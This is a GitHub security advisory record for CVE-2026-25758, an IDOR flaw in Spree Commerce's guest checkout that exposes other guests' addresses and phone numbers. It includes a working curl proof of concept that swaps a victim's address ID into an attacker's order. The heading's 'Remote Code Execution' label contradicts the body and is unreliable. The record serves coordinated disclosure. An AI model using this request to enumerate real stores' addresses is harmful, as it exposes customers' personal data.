CVE-2026-25758: Spree api Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-87fh-rc96-6fr6",
  "modified" : "2026-02-13T17:16:07Z",
  "published" : "2026-02-05T21:19:30Z",
  "aliases" : [ "CVE-2026-25758" ],
  "summary" : "Unauthenticated Spree Commerce users can access all guest addresses",
  "details" : "### Summary\nA critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.\n\n### Impact\nThis issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).\n\n### Unauthenticated users can access all guest addresses (`GHSL-2026-027`)\n\nThe vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (`bill_address_attributes[id]` and `ship_address_attributes[id]`) are properly validated through `validate_address_ownership`, plain ID parameters (`bill_address_id` and `ship_address_id`) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.\n\n### Affected Code Components\n\n1. **Permitted Attributes** ([`core/lib/spree/permitted_attributes.rb:92–96`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96))\n   - Allows `bill_address_id` and `ship_address_id` as permitted parameters without validation\n\n2. **Checkout Update** ([`core/app/models/spree/order/checkout.rb:241–254`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254))\n   - Applies permitted parameters directly to the Order model via `update_from_params`\n\n3. **Incomplete Ownership Validation** ([`core/app/services/spree/checkout/update.rb:33–48`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48))\n   - `validate_address_ownership` only validates nested attributes structure\n   - Does NOT validate plain `bill_address_id`/`ship_address_id` fields\n\n4. **Vulnerable Assignment Logic** ([`core/app/models/spree/order/address_book.rb:16–23, 31–38`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38))\n   * [`bill_address_id=` setter](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L24)\n   * [`ship_address_id=` setter](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L31-L39)\n\nBoth setters check that: `address.user_id == order.user_id`. For guest orders: nil == nil → TRUE ✓ (bypass!)\n\n#### Proof of Concept\n\nPrecondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the `spree_addresses` table. E.g. `3`)\n\nAs a guest user:\n1. Put one product in the cart and go to checkout.\n2. Fill in some address/phone number and continue.\n3. Modify this script containing a curl request with current values.\n\n```bash\n#!/bin/bash\n\nATTACKER_ORDER_TOKEN=\"\" # Taken from the URL\nVICTIM_ADDRESS_ID=\"3\" # As noted from the database\nCSRF_TOKEN=\"\" # From page source; `content` value from meta param `csrf-token`.\nSESSION_COOKIE=\"token=...; _my_store_session=...\" # from the browsers cookie store.\n\ncurl -i -X POST \\\n  -H \"x-csrf-token: ${CSRF_TOKEN}\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded;charset=UTF-8\" \\\n  -b \"${SESSION_COOKIE}\" \\\n  --data-urlencode \"_method=patch\" \\\n  --data-urlencode \"authenticity_token=${CSRF_TOKEN}\" \\\n  --data-urlencode \"order[ship_address_id]=${VICTIM_ADDRESS_ID}\" \\\n  \"http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address\"\n```\n\nExpected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display.\nThis can be verified by accessing  `/checkout/${ATTACKER_ORDER_TOKEN}/delivery` in the same browser where you created the new guest cart.\n\n#### Impact\n\nThis issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).\n\n#### CWEs\n\n- CWE-639: Authorization Bypass Through User-Controlled Key\n- CWE-284: Improper Access Control\n\n### Credit\n\nThis issue was discovered with the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent) and manually verified by GHSL team members [@p- (Peter Stöckli)](https://github.com/p-) and [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo).\n\n### Disclosure Policy\n\nThis report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "spree_api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.10.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "spree_api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.0.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "spree_api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.1.0"
      }, {
        "fixed" : "5.1.10"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "spree_api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.2.0"
      }, {
        "fixed" : "5.2.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "spree_api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.3.0"
      }, {
        "fixed" : "5.3.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25758"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree_api/CVE-2026-25758.yml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/spree/spree"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-639" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-05T21:19:30Z",
    "nvd_published_at" : "2026-02-06T22:16:12Z"
  }
}